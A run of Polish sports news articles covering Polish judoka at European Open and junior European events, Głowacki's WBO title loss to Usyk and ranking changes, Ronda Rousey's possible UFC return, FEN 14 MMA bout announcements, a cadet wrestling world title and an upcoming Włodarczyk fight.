Statystyka pokazuje, że w stolicy Chorwacji Kłys ma duże szanse na wywalczenie miejsca na podium. W ubiegłym roku po mistrzostwach świata startowała w Taszkiencie, gdzie wywalczyła brąz. Dwa lata wcześniej po światowym czempionacie przyszło jej rywalizować w… Zagrzebiu. Kłys zawody ukończyła na drugim miejscu, lepsza była tylko Kelita Zupancic z Kanady.

Pójść za ciosem

Debiut w kategorii 81kg ma za sobą Damian Szwarnowiecki. W Tallinie 22-latek wywalczył brązowy medal. Choć nie pojechał do Rio to i tak notuje najlepszy sezon w karierze. Tym razem o sukces będzie trudniej, bo poprzeczka idzie w górę. Zawody Grand Prix to większe wymagania, ale w tym roku Szwarnowiecki wygrał już w Samsun.

W stolicy Chorwacji zaprezentują się także: Anna Borowska (57kg), Karolina Tałach (63kg), Michał Bartusik (66kg) i Kamil Grabowski (+100kg), czyli medaliści z Tallinna. Ponadto, w kadrze znaleźli się: Ewa Konieczny (48kg), Karolina Pieńkowska (52kg), Agata Ozdoba (63kg), Patryk Wawrzyczek (66kg), Jakub Kubieniec (81kg), Patryk Ciechomski i Piotr Kuczera (obaj 90kg).

W ubiegłorocznym starcie w Zagrzebiu Polacy wywalczyli dwa medale. Po brązowe krążki sięgnęły Agata Perenc i Daria Pogorzelec. O krok od podium, piąte miejsce, były Kłys i Ozdoba.

KM

Głowacki zanotował spadek

Panowanie Krzysztof Głowackiego dobiegło końca. Polak stracił pas WBO kategorii junior ciężkiej na rzecz Oleksandra Usyka. W związku z tym należało się spodziewać zmian w bokserskich rankingach. O jedną pozycję niżej Głowacki znajduje się w zestawieniu ESPN.

Porażka z Usykiem nie sprawi, że 30-letni pięściarz popadnie w niebyt. Głowacki nokautując Hucka awansował na szczyt i udowodnił, że drzemie w nim ogromny potencjał. Obecnie wymieniany jest jednym tchem wśród czołowych bokserów wagi junior ciężkiej.

Niewielkie przesunięcia

Oleksandr Usyk na przestrzeni dwunastu rund okazał się lepszy od boksera z Wałcza. Ukrainiec przed pojedynkiem o pas miał wysokie notowania, ale teraz stał się postrachem dla czołówki wagi junior ciężkiej. 29-letni pięściarz wystrzelił na szczyt kolejnych rankingów.

Spójrzmy na zestawienie ESPN. Tam nadal na czele znajduje się Denis Lebiediew, czempion WBA i IBF. Za jego plecami znajduje się Usyk, który przeskoczył Głowackiego i zepchnął Polaka na trzecią lokatę. Warto dodać, że Ukrainiec zaliczył awans z 9. pozycji. Głowacki wyprzedza Marco Hucka, Krzysztofa Głowackiego i Tony Bellewa.

Zupełnie inaczej wygląda położenie „Główki” w rankingu Boxrec. Polski pięściarz spadł z pozycji lidera na 6. lokatę. W tym przypadku wyprzedzają go: challenger WBC Mairis Briedis, Bellew, Lebiediew i Huck.

Przyszłość w kolorowych barwach

Pierwsza w karierze porażka Głowackiego nie przekreśla go w żaden sposób. Tak jak już wspominaliśmy, polski pięściarz wyrobił sobie mocną pozycję. Jeszcze długo bokserski świat będzie wspominał jego fenomenalny pojedynek z Huckiem.

Z kolei Usyk to pięściarz niezwykle mocny i pewnie zmierzający do przodu. Bogata kariera amatorska, szybko zdobyty pas mistrza świata. Bokserskie salony leżą u jego stóp. W przypadku Głowackiego powrót na szczyt jest jak najbardziej możliwy, lecz nie wiadomo, ile przyjdzie mu czekać na szansę.

Z pewnością na starcie z kimś z czołówki musi poczekać. Na początek zapewne stoczy walkę z kimś niżej notowanym. W wadze junior ciężkiej jest niezwykle ciasno, więc trzeba rozpychać się z całych sił. W wieku 30 lat Głowacki ma bogate doświadczenie i wypada tylko wierzyć, że kiedyś wyda owoce i ponownie Polak założy mistrzowski pas.

KM

Wróci i powalczy o pas?

Czy UFC zapomniało o Rondzie Rousey? – zaczęli pytać niektórzy fani MMA. Od ostatniej walki byłej mistrzyni wagi koguciej minęło już ponad dziesięć miesięcy. Niewykluczone, że kolejny pojedynek stoczy w grudniu.

Popularna „Rowdy” zapracowała sobie na status gwiazdy UFC. Stoczyła dwanaście zwycięskich walk i opływała w glorii chwały. Przyszedł listopad 2015 roku i zaczęły się kłopoty.

Pożegnała się z pasem

Rousey była dla wielu niezwyciężona i wszechpotężna. Amerykanka imponowała skutecznością oraz perfekcyjną. Potrafiła w zaledwie kilkanaście sekund wygrać pojedynek, czym budziła postrach wśród kolejnych rywalek. Niektórzy widzieli w niej mistrzynię na lata, której nikt i nic nie powstrzyma. Dlatego porażka na UFC 193 z Holly Holm stanowiła ogromną niespodziankę. Była bokserska mistrzyni świata w wadze półśredniej w drugiej rundzie wysokim kopnięciem znokautowała rywalkę.

Era wielkiej Rondy dobiegła końca. Amerykanka miała stoczyć pojedynek rewanżowy z Holm, jednak uniemożliwiła jej to kontuzja kolana. Nic się nie zatrzymuje w miejscu. Podczas nieobecności Rousey doszło do wielu przetasowań. Holm zdążyła stracić pas, który obecnie znajduje się w rękach Amandy Nunes. Jednak Brazylijka zdobyła tytuł w walce z Mieshą Tate.

Jak na rok, to w wadze koguciej zaszło wiele zmian. Wszystko odbyło się poza Rousey, o której jakby świat zapomniał. Być może „Rowdy” niespodziewanie zaatakuje i wróci na szczyt. Czy to możliwe? Wszystko zależy od jej dyspozycji, ale nie tylko fizycznej, lecz i psychicznej. Podobno po porażce z Holm była mocno zszokowana.

Od razu pas?

To byłoby coś niesamowitego! Czekać tyle na powrót na główną arenę i od razu walczyć o utracony przez kilkoma miesiącami tytuł. Niewykluczone, że Ronda Rousey pojawi się na gali UFC 207, która odbędzie się 30 grudnia. Rywalką Amerykanki miałaby być Amanda Nunes.

28-letni Brazylijka weszła na szczyt efektownie pokonując Miesha Tate. W lipcu Brazylijka dosłownie zdewastowała rywalkę. Mocne ciosy Nunes mocno naruszyły twarz Tate, która padła na matę, by po chwili odklepać. 

Nunes ma na koncie cztery zwycięstwa z rzędu i czeka na kolejne wyzwanie. Chce stanąć do obrony tytułu, aby udowodnić swoją moc. Warto wspomnieć, że ostatnią zawodniczką, z którą przegrała Nunes była Cat Zignano. Z tą rywalką mierzyła się również Rousey. Potrzebowała zaledwie czternaście sekund, aby pokonać Zignano. To pokazuje moc byłej mistrzyni UFC, ale nie jest żadną wykładnią słabości obecnej czempionki. Teraz forma Rousey jest ogromną niewiadomą.

Czy pas w wadze koguciej będzie dalej podróżował? Żadnej mistrzyni po Rousey nie udało się ani razu obronić tytułu. Jednak z oceną szans należy poczekać. Najpierw UFC musi ogłosić, że powrót Rousey przypadnie na walkę z Nunes.

KM

Bazelak kontra Kowalczyk na gali FEN 14 Silesian Rage

W dwóch pierwszych walkach w karierze Tyberiusz Kowalczyk odniósł dwa szybkie i efektowne zwycięstwa. Na gali FEN 14 Silesian Rage będzie chciał tę serię przedłużyć, ale czeka go trudne zadanie, bo 15 października jego rywalem w katowickim Spodku będzie inny były strongman, równie potężny jak on, ale bardziej doświadczony jako fighter MMA Kamil Bazelak.

Kamil „Vanderlei” Bazelak przygodę ze sportem rozpoczął od piłki ręcznej, ale po poważnym wypadku musiał przerwać treningi i w ramach rehabilitacji jako dwunastolatek zamiast szczypiorniaka zaczął ćwiczyć karate. Później zajął się także boksem i kickboxingem, z sukcesami startując w tych trzech dyscyplinach w turniejach amatorskich. Po krótkiej przygodzie z kulturystyką na kilka lat poświęcił się karierze strongmana, uczestnicząc m.in. w zawodach European Strongest Man Championship, oraz wrestlera. Obecnie koncentruje się głównie na mieszanych sztukach walki, chociaż występuje także na zawodowych galach boksu i K-1.

W formule MMA Kamil Bazelak debiutował w 2012 roku. Jako zawodowiec stoczył 12 walk, połowę z nich na galach w Anglii, gdzie mierzył się z tak znanymi i doświadczonymi zawodnikami, jak Karl Etherington, Oli Thompson czy Stav Economou. W Polsce miał okazję walczyć m.in. z Kamilem Walusiem i Józefem Warchołem. W tym roku „Vanderlei” walczył już trzykrotnie, odnosząc dwa zwycięstwa – na zawodach z cyklu Vale Tudo Promotions – Samurai League w Łodzi pokonał Tomasza Koperskiego i Marcina Chaberskiego.

Jego rywal Tyberiusz Kowalczyk przez wiele lat był jednym z najlepszych i najbardziej rozpoznawalnych strongmanów w Polsce, gwiazdą Pucharu Polski Strongman oraz mistrzostw Polski i Europy. W 2005 roku triumfował w czwartej edycji drużynowych zawodów Polska kontra Reszta Świata, a dwa lata później zdobył tytuł Mistrza Europy Centralnej Strongman w Parach i Mistrza Polski Strongman A-Nowi. Po zakończeniu imponującej kariery siłacza poświęcił się sportom walki.

Starcie z Kamilem Bazelakiem będzie jego trzecią zawodową walką na zasadach MMA. Oba wcześniejsze pojedynki stoczył w klatkoringu Fight Exclusive Night, dwukrotnie błyskawicznie i efektownie pokonując swoich rywali. W czerwcu 2014 roku na gali FEN 3 War Is Coming już w 48. Sekundzie ciosami pięściami posłał na deski Litwina Tomasa Vaicickasa. Równie krótko trwała druga walka „Tyberiana” na gali FEN 11 Warsaw Time w marcu tego roku, kiedy to potężnymi uderzeniami i kopnięciami znokautował Akopa Szostaka.

Pojedynek Tyberiusza Kowalczyka z Kamilem Bazelakiem będzie jedną z 12 walk, jakie obejrzą kibice 15 października podczas FEN 14 Silesian Rage w katowickim Spodku. Oprócz nich w klatkoringu Fight Exclusive Night pojawią się tego wieczora m.in. broniący tytułu mistrza FEN w formule MMA Roman Szymański, walczący o pas mistrza FEN w formule K-1 Tomasz Sarara, a także Paweł Biszczak, Akop Szostak, Paweł Hadaś, Albert Odzimkowski, Kamil Jenel i Tomasz Gromadzki.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Malaga w kolorze brązu

Dla większości ze startujących w Maladze mistrzostwa Europy juniorek i juniorów były głównym tegorocznym celem. Polska wraca z czempionatu z dwoma brązowymi medalami, które wywalczyły Julia Kowalczyk (57kg) oraz Anita Formela (+78kg).

Do Hiszpanii udała się szesnastoosobowa kadra Polski. W ubiegłorocznym czempionacie nie doczekaliśmy się złota, choć o krok od triumfu była Anna Załęczna (+78kg). Z Malagi również wracamy bez tytułu mistrzowskiego.

Powtórka z rozrywki

Rok temu mistrzostwa Europy odbyły się w Oberwart. Biało-czerwoni wywalczyli cztery medale, na dorobek naszych złożyło się srebro i trzy brązy. Jedną z medalistek tamtego turnieju była Julia Kowalczyk (57kg), która wybrała się również do Malagi.

Judoczka Polonii Rybnik w tym sezonie prezentowała równą formę i gościła na podium w zawodach w Gdyni i w Berlinie. Do Hiszpanii jechała jako kandydatka do medalu i spełniła pokładane w niej nadzieje. Na początek spotkała się z Kają Kajzer ze Słowenii. Pojedynek nie należał do porywających, rywalka zanotowała karę shido, co dało Polce awans. W kolejnej rundzie Kowalczyk stanęła przed trudnym wyzwaniem. Niemka Pauline Starke pokazał klasę i zdominowała judoczkę Polonii Rybnik. Po ponad trzech minutach Kowalczyk schodziła z tatami pokonana. Ostatecznie Niemka sięgnęła po złoto.

Polce pozostała walka repasażowa, w której pokazała możliwości. Amit Prishkolnik nie zagroziła Kowalczyk, a ta wykorzystała swoje doświadczenie i zapunktowała przez waza-ari. W walce o brąz spotkała się z kolejną reprezentantką Izraela. Ariel Bezalel opierała się, ale Kowalczyk przeprowadziła akcję zakwalifikowaną jako waza-ari. Reprezentantka Izraela szukała swojej szansy, ale zapisała na swoim koncie shido. Polka również była agresywna i otrzymała trzy kary. To nie miało większego znaczenia. Triumf dał jej brązowy medal, drugi raz z rzędu.

Przegrać z mistrzynią

Świetnie w Maladze spisała się Anita Formela (+78kg). Polka zmagania rozpoczęła od rywalizacji z Katariną Luciją Vuković. Formela była niezwykle aktywna i w ciągu czterech minut zbudowała swoją przewagę, choć Chorwatka stawiała opór. W drugim starciu Polka szybko uporała się z Lidią Yarzą z Hiszpanii. Mercedesz Szigetvari stanowiła kolejne wyzwanie dla naszej judoczki, ale ta konsekwentnie realizowała swój plan. Waza-ari i yuko dały jej przepustkę do półfinału. Tam szybko poległa w pojedynku z Julią Tolofuą, która sięgnęła po tytuł mistrzowski. Polka musiała zadowolić się brązowym medalem. W decydującym starciu Formela przez ippon pokonała Maxime Brausewetter.

Blisko podium był Jakub Ozimek (90kg), który ostatecznie zajął piąte miejsce. Medal przeszedł koło nosa Pauli Kuladze (78kg). Polka wywalczyła piątą lokatę.

W Maladze zaprezentowało się ponad 400 judoczek i judoków. Najlepszą ekipą czempionatu okazali się Francuzi, którzy zdobyli osiem medali, w tym trzy złote. Za ich plecami Rosja i Niemcy.

Fot. EJU

KM

Bokserskie święto w Gdańsku

Krzysztof Głowacki po raz drugi będzie bronił mistrzowskiego pasa WBO w wadze junior ciężkiej. 30-latek po występach w USA wraca do Polski. Podczas gali Polsat Boxing Night w Gdańsku Głowacki zmierzy się z Oleksandrem Usykiem. Atmosfera wokół pojedynku jest niezwykle gorąca.

Do ringu wejdzie dwóch niezwykle mocnych bokserów. Wiele ich łączy, ale nie brakuje różnic. Cieszymy się z bokserskiego mistrza świata, ale Usyk zapowiada, że 17 września wieczorem pas zmieni właściciela. Czy Ukrainiec zdetronizuje Głowackiego?

Groźny Ukrainiec

Relacje polsko-ukraińskie do najłatwiejszych nie należą. Polska była pierwszym krajem, który uznał niepodległość kraju ze stolicą w Kijowie. Oba państwa w 2012 roku zorganizowały piłkarskie mistrzostwa Europy. Jednak cały czas na relacje z Ukrainą rzucają się zaszłości historyczne. Dodatkowo ostatni czas dla naszych wschodnich sąsiadów jest pełen niepokoju i strachu. Wszystko przez wojnę w Donbasie i zagrożenie ze strony Rosji. Ukraińcy potrzebują impulsu, który da im choć chwilową radość. Piłkarze nie spisali się na Euro 2016. Teraz Ukraińcy patrzą na Usyka i myślą o Władimirze Kliczko, który szykuje się do odebrania pasów mistrzowskich w wadze ciężkiej.

Boks to dziedzina, która ma ogromne wpływy i przyciąga ogromne zainteresowanie. Walka Głowacki-Usyk jest długo wyczekiwana. 30-letni Polak tytuł WBO zdobył ponad rok temu powalając na deski Marco Hucka. Teraz przyjdzie mu bronić pasa po raz drugi. W kwietniu pokonała Steve Cunninghama, jednak w Gdańsku czeka go trudniejsze zadanie.

Obaj są w podobnym wieku, Głowacki jest zaledwie pół roku starszy. Zarówno Polak, jak i Ukrainiec nie ponieśli porażki na zawodowym ringu. Usyk ma za sobą bogatą karierę amatorską, ale na poziomie zawodowym znacznie większe doświadczenie posiada mistrz świata. Głowacki stoczył już 26 pojedynków, a jego najbliższy rywal tylko 9. 

Jednak Usyk potrafi mocno i konsekwentnie bić. Wszystkie walki wygrał przed czasem. Ukrainiec zapowiada, że tym razem będzie podobnie. Polak jest niewiele cięższy od Usyka, Głowacki waży 90,4kg, przeciwnik zaś 90,150kg. Z kolei Ukrainiec jest wyższy.

Kibice liczą na wielkie show. Wielu obserwatorów wieści, że będzie to najlepsza z dotychczasowych walk o mistrzostwo świata, które odbyły się w Polsce. Naprzeciw siebie stanie dwóch silnych bokserów. Jednego i drugiego stać na rozstrzygnięcie pojedynku przed czasem. Pytanie, który jako pierwszy ukąsi i pójdzie za ciosem?

Kolejna mistrzowska walka

Po wywalczeniu mistrzostwa Europy szansę na kolejny tytuł ma Ewa Piątkowska. Na szali pojawia się pas w kategorii junior średniej WBC. „Tygrysica” spotka się z Aleksandrą Magdziak-Lopes, która ma polskie korzenie, ale reprezentuje USA.

Wszyscy z zainteresowaniem patrzą na pojedynek w wadze ciężkiej pomiędzy Albertem Sosnowskim a Andrzejem Wawrzykiem. „Dragon” kilka miesięcy temu pożegnał się z ringiem, ale postanowił wrócić. Czy da lekcję młodszemu Wawrzykowi? W Gdańsku wystąpią także: Patryk Szymański, który spotka się z Jose Villalobosem w junior średniej oraz Paweł Stępień z Norbertem Dąbrowskim z półciężkiej. Michał Cieślak skrzyżuje rękawice z Giulianem Ilie.

Początek gali w gdańskiej Ergo Arenie o godz. 19.00.

KM

Czy Hiszpania będzie szczęśliwa?

Do rozpoczęcia mistrzostw Europy juniorek i juniorów w judo pozostały już tylko godziny. Przez trzy dni młodzi zawodnicy będą rywalizować o medale. Wśród nich nie zabraknie reprezentantów Polski, których do Hiszpanii udało się 16.

Dla wielu z nich start w Maladze będzie prawdziwym wyzwaniem, a zarazem ukoronowaniem wysiłków, gdyż walka o udział w czempionacie nie należała do łatwych. Wypatrujemy szans medalowych. Kto w tym sezonie już błysnął?

Osiem na osiem

Można stwierdzić, że w polskiej kadrze mamy parytet. Do Malagi poleciała szesnastoosobowa kadra Polski, w której znajduje się osiem pań i ośmiu panów. Mocne są nasze zawodniczki w kategorii 57kg. Anna Dąbrowska to tegoroczna triumfatorka Pucharu Europy w Berlinie, gdzie wygrała aż sześć walk. Judoczka MKS Juvenia Wrocław sięgnęła po brąz mistrzostw świata kadetów, a także była piąta w Europie. Kroku Dąbrowskiej stara się dotrzymać Julia Kowalczyk. Reprezentująca barwy Polonii Rybnik zawodniczka to trzecia zawodniczka juniorskich mistrzostw Europy z Oberwart. Z kolei w światowym czempionacie zajęła siódmą lokatę. Kowalczyk zna smak występów na mistrzowskich imprezach rangi juniorskiej. Jej doświadczenie może zaprocentować po raz kolejny. W tym roku pokazała dobrą dyspozycję, zajęła drugiej miejsce podczas zawodów w Gdyni i trzecie w Berlinie. 

W Hiszpanii zaprezentuje się Anna Isenko (63kg), która w tym roku nie próżnowała, jednak nie dane było jej stanąć na podium. Trzykrotnie była o krok od wywalczenia medalu. W Pradze, Sankt Petersburgu i Lignano zajmowała piąte miejsca. Rok temu Barbara Kulik (63kg) startowała w mistrzostwach Europy kadetów, ale poległa w drugiej rundzie. Teraz liczy na lepszy wynik. W kadrze znalazły się także: Karolina Miller (70kg), Paula Kułaga (78kg) oraz Anita Formela i Daria Tymann (+78kg).

18-letni Maciej Krogulski w ubiegłym roku cieszył się ze srebra mistrzostw Europy w zmagania kadetów. W tym roku znalazł się wśród juniorów. Do tej pory zapisał na swoim koncie drugie miejsce w Pucharze Europy Juniorów w Kaunas. Bardzo dobrymi wynikami może pochwalić się Jakub Ozimek (90kg). 19-latek w tym roku triumfował w Lignano i był trzeci w Gdyni. 

O medale powalczą także: Jan Stolarek (66kg), Tomasz Czerniawski (73kg), Sebastian Marcinkiewicz (81kg), Eryk Ryciak (90kg), Dominik Majowski i Kacper Szczurowski (obaj 100kg).

Tylko jedna medalistka

Do Malagi pojechała tylko jedna ubiegłoroczna medalistka mistrzostw juniorów. Kowalczyk sięgnęła w Austrii po brązowy medal.

Na podium stanęli także Patryk Wawrzyczek (66kg) i Piotr Kuczera (90kg). Obaj wywalczyli brązowe medale. Teraz prezentują się w zmaganiach seniorów. W tym roku Kuczera sięgnął po brązowy krążek europejskiego czempionatu w Kazaniu. 

W Oberwart wicemistrzynią Europy została Anna Załęczna (+78kg). Kilka dni temu w Pucharze Europy w Tallinie zajęła piątą lokatę. Także medal mistrzostw Europy otwiera drzwi do udanych startów na poziomie seniorskim. Szybko zaistniał Kuczera, inni notowali dobre występy i powoli zdobywają cenne doświadczenie. Czy Malaga będzie trampoliną dla kolejnych zawodników?

KM

Chudej rywalem Szostaka na gali FEN 14 Silesian Rage

Martin Chudej będzie przeciwnikiem Akopa Szostaka na październikowej gali FEN 14 Silesian Rage w katowickim Spodku. Starcie dwóch potężnych fighterów, którzy po sukcesach w kulturystyce poświęcili się mieszanym sztukom walki, zakontraktowane zostało w kategorii +93 kg.

28-letni Akop Szostak, były mistrz Europy juniorów i wicemistrz świata juniorów w kulturystyce klasycznej, 15 października w Katowicach stoczy czwartą w swojej karierze i trzecią w klatkoringu FEN zawodową walkę MMA. Na koncie ma dwa zwycięstwa – w debiucie na Time of Masters 1 potrzebował zaledwie pół minuty, by pokonać Janusza Dylewskiego, a w pierwszej walce dla Fight Exclusive Night na ubiegłorocznej wakacyjnej gali FEN 8 Summer Edition w Kołobrzegu po heroicznym boju wygrał na punkty z faworyzowanym Łukaszem Borowskim. Po nieudanej walce z Tyberiuszem Kowalczykiem na gali FEN 11 Warsaw Time Akop planował zejść do niższej kategorii wagowej, ale ostatecznie przyjął propozycję jeszcze jednego pojedynku w wadze ciężkiej.

Dla 34-letniego Martina Chudeja będzie to debiut w organizacji Fight Exclusive Night, chociaż już raz był bliski występu na arenie FEN. W kwietniu ubiegłego roku miał zmierzyć się z Tyberiuszem Kowalczykiem na gali FEN 7 Real Combat, ale do walki w bydgoskiej Artego Arenie nie doszło z powodu kontuzji Tyberiana.

Reprezentant Czech, podobnie jak Akop Szostak, sportowe sukcesy odnosił dotychczas w kulturystyce, jednak od wielu lat trenuje także sporty walki – uprawia boks, kickboxing oraz mieszane sztuki walki. Największe doświadczenie ma właśnie jako zawodnik MMA – w tej formule stoczył dotychczas osiem zawodowych walk w Czechach i Niemczech, wygrywając trzy z nich (wszystkie kończył nokautami już w pierwszych rundach). W tym roku Chudej walczył już dwukrotnie – w marcu na gali IFC 4 w Lipsku już w 28. sekundzie znokautował Niemca Christiana Lo Re, a w czerwcu na gali EFN Global 49 w Bańskiej Bystrzycy przegrał na punkty ze Słowakiem Kristofem Nataską.

15 października w katowickim Spodku podczas FEN 14 Silesian Rage kibice obejrzą 12 walk na zasadach MMA i K-1. Głównymi bohaterami gali będą Roman Szymański, który po raz pierwszy będzie bronił pasa mistrza FEN w formule MMA, oraz Tomasz Sarara, który stanie do walki o tytuł mistrza FEN w K-1. Tego wieczora wystąpią również m.in. Paweł Biszczak, Tyberiusz Kowalczyk, Albert Odzimkowski, Mateusz Strzelczyk, Paweł Hadaś, Kamil Jenel i Tomasz Gromadzki.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Polski zapaśnik zdobył Tbillisi

Dobra nowina dotarła do nas z Tbilisi, gdzie trwają mistrzostwa świata kadetów w zapasach. Ze złotego medalu w stylu klasycznym cieszy się Gerard Kurniczak (100kg).

Zawodnik KS Sobieski Poznań wykonał kawał dobrej roboty. W stawce 21 zapaśników rywalizujących o medale mistrzostw świata okazał się najlepszy. To nie pierwszy tegoroczny sukces Kurniczaka.

Droga po złoto

Świetny początek światowego czempionatu kadetów w zapasach dla Polski. Pierwszym przeciwnikiem Gerarda Kurniczaka w Gruzji był Iordanis Kalaitzidis. Polak nie miał większych problemów z Grekiem i pewnie wygrał. W 1/8 zapaśnik KS Sobieski Poznań stanął przed trudnym wyzwaniem. Polakowi przyszło zmierzyć się z mistrzem Europy Sharapem Alikhanovem. W lipcu w Sztokholmie Rosjanin w decydującym o tytule starciu spotkał się z… Kurniczakiem. Nasz zapaśnik musiał uznać wyższość Alikhanova, który zaprezentował się wyśmienicie. Okazja do rewanżu nadarzyła się w Tbilisi, jednak stawka była zupełnie inna. W grze o medal pozostał Kurniczak, a Rosjanin musiał obejść się smakiem.

Ćwierćfinał był równie trudny. Ali Aminzad zawiesił wysoko poprzeczkę Polakowi, który zaimponował postawą w obronie. Azer był nieustępliwy, jednak to Kurniczak przeprowadził akcje gwarantujące triumf i awans do strefy medalowej. W półfinale polski zapaśnik zmierzył się z Deepanshu Deepanshu. Przez długi czas na macie praktycznie nic się nie działo. Hindus wyczuł moment i przeprowadził akcję za dwa punkty. Do końca walki pozostało 30 sekund, ale Kurniczak nie poddał się i pokazał wysokie umiejętności. Deepanshu znalazł się na łopatkach. Spełnienie marzeń było o krok. Ghasem Abadi z Iranu nie należał do łatwych rywali, jednak zapaśnik KS Sobieski Poznań był w gazie. Kurniczak zdobył tytuł mistrza świata po ciężkim starciu.

Polski zapaśnik po raz kolejny zaimponował dobrą dyspozycją. Po sukcesie w Sztokholmie nadszedł czas na triumf w światowym czempionacie. Rok temu, w Suboticy, Kurniczak wywalczył złoto mistrzostw Europy w kategorii 85kg. Także medalowa seria trwa.

Jak pozostali?

Na pierwszy ogień w stolicy Gruzji poszli zawodnicy w stylu klasycznym. Pozostali nasi reprezentanci nie zachwycili. Filip Petrończak (54kg) przegrał gładko w 1/8 z Shantem Khachatryanem. Do ćwierćfinału dotarł Aleksander Mielewczyk (58kg), ale tam lepszy okazał się Jack Davis. Szybko przygodę z mistrzostwami zakończył Kacper Gajda (63kg).

Szczęścia nie mieli również Piotr Zabłocki (69kg), Szymon Szymonowicz (76kg) i Michał Dybka (85kg), którzy w Tbilisi stoczyli zaledwie po jednej walce.

Do stolicy Gruzji pojechała 19-osobowa kadra Polski. W kolejnych dniach swoje umiejętności zaprezentują panie i panowie w stylu wolnym.

KM

Mocny Nigeryjczyk czeka na Diablo

Trzeci pojedynek w tym roku stoczy Krzysztof „Diablo” Włodarczyk. 35-letni bokser wejdzie do ringu podczas gali Polsat Boxing Night 5, która odbędzie się 5 listopada w Krakowie. Rywalem polskiego pięściarza będzie Olandrewaju Durodola.

Włodarczyk dał wiele radości fanom boksu. Po utracie pasa mistrzowskiego federacji WBC w pojedynku z Grigorijem Drozdem zniknął z ringu na ponad półtora roku. Wrócił w dobrym stylu i z walki na walkę rozkręca się. 

Wejść na właściwe obroty

Miał walczyć ponownie z Drozdem, ale na przeszkodzie stanęła choroba. Na powrót Włodarczyka kibice czekali z utęsknieniem i w końcu ten moment nastąpił. 4 marca w Sosnowcu rywalem byłego mistrza świata był Valery Brudov. „Diablo” tęsknił za ringiem i szybko pokazał moc. Rosjanin już w drugiej rundzie musiał pogodzić się z porażką. Wiadomo, że nie był rywalem zanadto wymagającym dla Polaka, ale wygrana była optymistycznym znakiem. 

W maju Włodarczyk potwierdził, że w ringu czuje się jak ryba w wodzie. W Szczecinie Kai Kurzawa był bezradny, a pojedynek trwał zaledwie cztery rundy. Polak mógł cieszyć się ze zwycięstwa i zdobycia interkontynentalnego pasa IBF. W listopadzie „Diablo” stanie przed kolejnym wyzwaniem i bez dwóch zdań, będzie to niezwykle trudny pojedynek. Na Włodarczyka czeka twardy i mocno bijący rywal. 5 listopada w Krakowie polski pięściarz zmierzy się z Olanrewaju Durodolą.

35-latek z Nigerii ma imponujące statystyki. Co prawda, świata nie pobił, ale rozkładał na łopatki kolejnych rywali. Ogromne wrażenie na obserwatorach zrobił w ubiegłym roku, kiedy już w drugiej rundzie znokautował Dimitrija Kudriaszowa. Dla Rosjanina była to pierwsza porażka w zawodowej karierze. Dodatkowo 30-latek uchodził za króla nokautów, gdyż wszystkie dziewiętnaście walk rozstrzygnął na swoją korzyść. 

Durodola miał swoje „pięć” minut. W kolejnej walce spotkał się z Mairisem Briedisem, a stawką pojedynku była pozycja pretendenta do pasa WBC. Zwycięsko z tej potyczki wyszedł Łotysz.

Nie może się bać, musi uważać

Na pozór wydaje się to proste. Durodola nie może równać się z osiągnięciami Włodarczyka, który dzierżył w swoich dłoniach pasy WBC i IBF w kategorii junior ciężkiej. Polak ma zdecydowanie większe doświadczenie. Na zawodowym ringu prezentował się już 55 razy, rywal tylko 26.

Nigeryjczyk ma broń w postaci ciosu „odcinającego prąd”. Włodarczyk musi się mieć na baczności i mądrze prowadzić walkę. To najpoważniejsze wyzwanie dla „Diablo” od rywalizacji z Drozdem, kiedy stracił pas.

KM

Udany debiut Szwarnowieckiego

Damian Szwarnowiecki podjął decyzję o zmianie kategorii (z 73kg na 81kg). Debiut polskiego judoki przypadł na turniej European Open w Tallinnie. 22-latek mocnym akcentem rozpoczął przygodę ze zmaganiami w 81kg i w stolicy Estonii wywalczył brązowy medal. Polacy zaliczyli udany start.

Aż trzydziestoosobowa kadra udała się do Tallinna walczyć o rankingowe punkty. Przełożyło się to na liczbę medali, których łącznie Polacy zdobyli dziewięć.

Polskie spotkanie

Los skojarzył Damiana Szwarnowieckiego i Karola Kurzeja w pojedynku repasażowym. 22-letni judoka Gwardii Wrocław w trzecim starciu trafił na Rafaela Macedo z Brazylii, który nie dał się zaskoczyć i szybko przejął kontrolę nad walką. Najpierw waza-ari, później ippon i droga do finału została zablokowana. Szwarnowiecki świetnie zaczął zmagania w Tallinie, bo dwa starcia rozstrzygnął przez ippon. Z kolei Kurzej odprawił Filipa Mikuckisa z Łotwy, ale przegrał z Etienne Briandem z Kanady. 23-latek w starciu ze Szwarnowieckim nie miał zbyt wiele do powiedzenia. Debiutujący w 81kg zawodnik Gwardii był zdeterminowany, co potwierdził w walce o brąz. Jego upór sprawił, że znalazł w końcu sposób na Alekseja Nefedova i zwyciężył przed czasem. Z kolei Kurzej uplasował się na siódmej pozycji.

To kolejny doskonały występ Szwarnowieckiego w tym roku. Z tym, że poprzednie, czyli zwycięstwo w Grand Prix w Samsun i drugie miejsce w European Open w Pradze zanotował w kategorii 73kg.

Dobrze wypadli Polacy w kategorii 66kg. Patryk Wawrzyczek i Michał Bartusik zawzięcie walczyli o awans do finału, ale o złoto przyszło rywalizować temu pierwszemu. Polak trafił na Daniela Cargnina z Brazylii. 18-latek w zmaganiach juniorów radzi sobie wyśmienicie, ale swój kunszt zdołał potwierdzić także w Tallinie. Brazylijczyk przez ippon pokonał o trzy lata starszego Wawrzyczka. Również Michał Bartusik załapał się na podium. Nasz zawodnik w pojedynku o brąz wygrał z Samuelem Hallem, choć walka do najłatwiejszych nie należała.

Zaledwie trzy pojedynku stoczyła Ewa Konieczny (48kg), aby wywalczyć srebrny medal. W jej kategorii wagowej wystartowało zaledwie dziewięć zawodniczek. Polka wygrała dwie walki, a w finale jedną karą shido uległa Noi Minsker z Izraela.

Wysyp brązowych medali

Na dorobek biało-czerwonych w stolicy Estonii złożyło się dziewięć medali, z czego dwa srebrne. Na najniższym stopniu podium, oprócz wspomnianych Szwarnowieckiego i Bartusika, stanęli: Kamil Grabowski (+100kg), Anna Borowska (57kg), Karolina Tałach (63kg), Sandra Lickun (70kg) i Beata Pacut (78kg).

